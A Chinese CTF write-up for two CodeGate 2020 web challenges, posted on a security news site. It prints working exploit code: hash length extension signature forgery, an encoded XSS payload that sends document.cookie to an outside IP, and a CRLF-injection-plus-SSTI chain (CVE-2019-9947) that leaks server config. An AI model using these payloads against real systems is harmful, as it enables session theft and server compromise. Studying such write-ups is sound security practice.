2020 CodeGate Web Writeup - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2020 CodeGate Web Writeup

一叶飘零 技术 2020-02-10 09:44:47
616976
收藏

导语:​周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。

0x00 前言

周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。

0x01 CSP

随手尝试:

110.10.147.166/view.php?name=123&p1=456&p2=789

得到如下url:

/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=

不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。

其中q的值为:

2020-02-09-15-44-51.png

同时存在一个report功能:

2020-02-09-15-47-06.png

如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:

Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';

显然需要bypass CSP,此时我们关注到api.php的代码实现:

$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);
    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/

我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:

header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...

所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];
if(md5($salt.$api_string) !== $sig){
    die("??");
}

发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:

name=123,p1=456,p2=789
sig=43bb08065a4d2217ca3881e93c65276b

但是我们未知salt的长度,那么需要进行爆破:

import requests
import hashpumpy
import base64
old_sig = "43bb08065a4d2217ca3881e93c65276b"
old_data = "MTIz,NDU2,Nzg5" # 123 456 789
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
for i in range(1, 50):
    result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i)  # 789 456 123
    new_sig = result[0]
    new_data = base64.b64encode(result[1])
    now_url = url % (new_sig,new_data)
    r = requests.get(now_url)
    if '??' not in r.content:
    print i
    break

运行可得,salt长度为12。

那么此时可以并行构造header和body,但是如何bypass csp呢?

由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:

2020-02-09-16-28-01.png

参考link:

http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/

2020-02-09-16-37-54.png

得到:

/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==

2020-02-09-16-20-27.png

构造:

import requests
import hashpumpy
import base64
def gen_exp(a,b,c):
return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c)
old_sig = "fa74cda5bdd2f4da4170e064a5462449"
old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==')  #header,HTTP/1 404,skysec
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
a = 'body'
b = ''''''
c = ''
exp = '|'+gen_exp(a,b,c)
result = hashpumpy.hashpump(old_sig, old_data, exp, 12)
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
print now_url

得到exp:

http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss

2020-02-09-16-55-48.png

得到flag:

CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}

0x02 renderer

XFF可控

2020-02-09-11-31-39.png

题目给予了一个路由,尝试访问后发现,XFF可控:

2020-02-09-11-32-10.png

但是fuzz后发现,好像并不能直接利用。

CRLF注入

后续关注到题目给予了dockerfile:

FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]

同时注意到其用urllib完成了request功能:

2020-02-09-11-27-45.png

那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:

http://[vps-ip]:23333?%0d%0apayload%0d%0apadding

2020-02-09-11-30-42.png

发现确实存在CRLF注入攻击。

进一步尝试,利用CLRF注入,访问题目的whatismyip功能:

2020-02-09-11-52-39.png

发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。

目录穿越

赛后得知,题目可以进行目录穿越,进行任意文件下载:

http://58.229.253.144/static../src/app/routes.py

审计代码发现:

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()
    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)
    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)
    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

我们可以利用其中代码对log写入内容:

  if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

而跟进rip,其赋值来自于:

rip = get_real_ip()

跟进函数实现:

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

发现可用XFF控制写入log内容。

跟进write_log:

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid

故此,可以尝试在/admin路由,利用XFF写入文件,同时会返回其ticket:

url=http://127.0.0.1/renderer/admin+HTTP/1.1%0aX-Forwarded-For: {{1+1}}%0a

2020-02-09-11-53-23.png

而后,利用/admin/ticket读取文件,触发ssti:

def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()
    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

构造exp如下:

url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646+HTTP/1.1%0aUser-Agent: AdminBrowser/1.337%0aX-Forwarded-For: 127.0.0.1%0aA: B%0a

2020-02-09-12-18-40.png

测试发现,确实可以伪造http header。但是此处存在一个问题,即UA覆盖,最下面的UA,会覆盖我们上面的UA,所以得Connection: close。

url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: AdminBrowser/1.337%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aConnection: close%0d%0a%0d%0askycool

2020-02-09-12-26-34.png

即可触发ssti:

    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

2020-02-09-12-51-39.png

发现flag位置:

ENV FLAG CODEGATE2020{**DELETED**}

exp如下:

import requests
import urllib
url = 'http://58.229.253.144/renderer/'
payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1%%0d%%0aX-Forwarded-For: %s%%0d%%0a'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket=%s HTTP/1.1%%0d%%0aHost: 127.0.0.1%%0d%%0aUser-Agent: AdminBrowser/1.337%%0d%%0aX-Forwarded-For: 127.0.0.1%%0d%%0aConnection: close%%0d%%0a%%0d%%0askycool'''
ssti_payload = '''{{config}}'''
exp1 = payload1 % ssti_payload
data = {
'url':urllib.unquote(exp1)
}
r = requests.post(url=url,data=data)
ticket = r.content[1652:1692]
exp2 = payload2%ticket
data = {
'url':urllib.unquote(exp2)
}
r = requests.post(url=url,data=data)
print r.content

运行即可拿到flag:

CODEGATE2020{CrLfMakesLocalGreatAgain}

0x03 后记

还是太菜了,这次没啥输出,又没打进决赛。和国际赛的差距果然很大= =。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务